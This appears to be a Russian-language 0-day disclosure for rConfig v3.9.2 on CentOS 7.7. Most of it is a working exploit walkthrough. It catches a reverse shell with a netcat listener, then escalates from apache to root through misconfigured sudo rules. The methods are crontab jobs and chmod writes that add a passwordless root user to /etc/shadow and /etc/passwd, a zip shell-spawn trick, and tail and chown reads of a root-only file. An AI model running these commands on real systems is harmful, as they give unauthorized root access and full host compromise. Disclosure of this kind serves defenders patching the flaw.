
Обнаружены новые 0-days!
[Описание]
Множество векторов атак в rConfig v3.9.2 из-за неправильной конфигурации, что позволяет локальным пользователям выполнять команды root через sudo.
[Обнаружившие]
dmw0ng - Discord: dmw0ng#4449
TheCyberGeek - Discord: TheCyberGeek#1892
Email: [email protected]
Конфигурация Sudo в rConfig 3.9.2 предоставляет пользователю apache доступ к выполнению программ /usr/bin/zip, /bin/chmod и /usr/bin/tail от имени root. Это может быть использовано для удаленного выполнения кода в сочетании с CVE-2019-16662 и CVE-2019-16663.
Это набор уязвимостей, приводящих к компрометации системы из-за неправильной конфигурации пользователя.
[Тип уязвимости]
Небезопасные разрешения
OS: CentOS 7.7.1908 Software: rConfig v3.9.2
Множество векторов атак в rConfig v3.9.2 из-за неправильной конфигурации, что позволяет локальным пользователям выполнять команды root через sudo.
Используя эксплойт Аскара:
https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ мы получаем пользователя apache на rConfig 3.9.2.
root@TheCyberGeek:~# nc -lvvp 4444
listening on [any] 4444 ...
192.168.230.22: inverse host lookup failed: Unknown host
connect to [10.10.11.3] from (UNKNOWN) [192.168.230.22] 60598
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache)
Пользователь apache может выполнять следующие команды на Misconfigured:
(ALL) NOPASSWD: /usr/bin/crontab, /usr/bin/zip, /bin/chmod, /bin/chown, /usr/bin/whoami, /usr/bin/wc, /usr/bin/tail, /bin/rm
id
uid=48 gid=48(apache) groups=48(apache)
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l | { cat; echo "* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd"; } | sudo /usr/bin/crontab -
sudo /usr/bin/crontab -l
* * * * * echo 'pwned:::0:99999:7:::' >> /etc/shadow
* * * * * echo 'pwned:x:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwned
id
uid=0(root) gid=0(root) groups=0(root)

id
uid=48 gid=48(apache) groups=48(apache)
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 65%)
sudo rm $TF
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

sudo /bin/chmod 777 /etc/shadow
sudo /bin/chmod 777 /etc/passwd
echo "pwned:::0:99999:7:::" >> /etc/shadow
echo "pwned:x:0:0:root:/root:/bin/bash" >> /etc/passwd
su pwned
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)


id
uid=48(apache) gid=48(apache) groups=48(apache)
ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt
LFILE=/root/secret.txt
sudo tail -c1G "$LFILE"
I got the secret


ls -la /root/secret.txt
-rwx------ 1 root root 19 Nov 25 11:41 /root/secret.txt
sudo /bin/chown apache:apache /root/secret.txt
ls -la /root/secret.txt
-rwx------ 1 apache apache 19 Nov 25 11:41 /root/secret.txt
cat /root/secret.txt
I got the secret



В результате мы полностью компрометируем любую CentOS 7.7.1908 с установленным rConfig.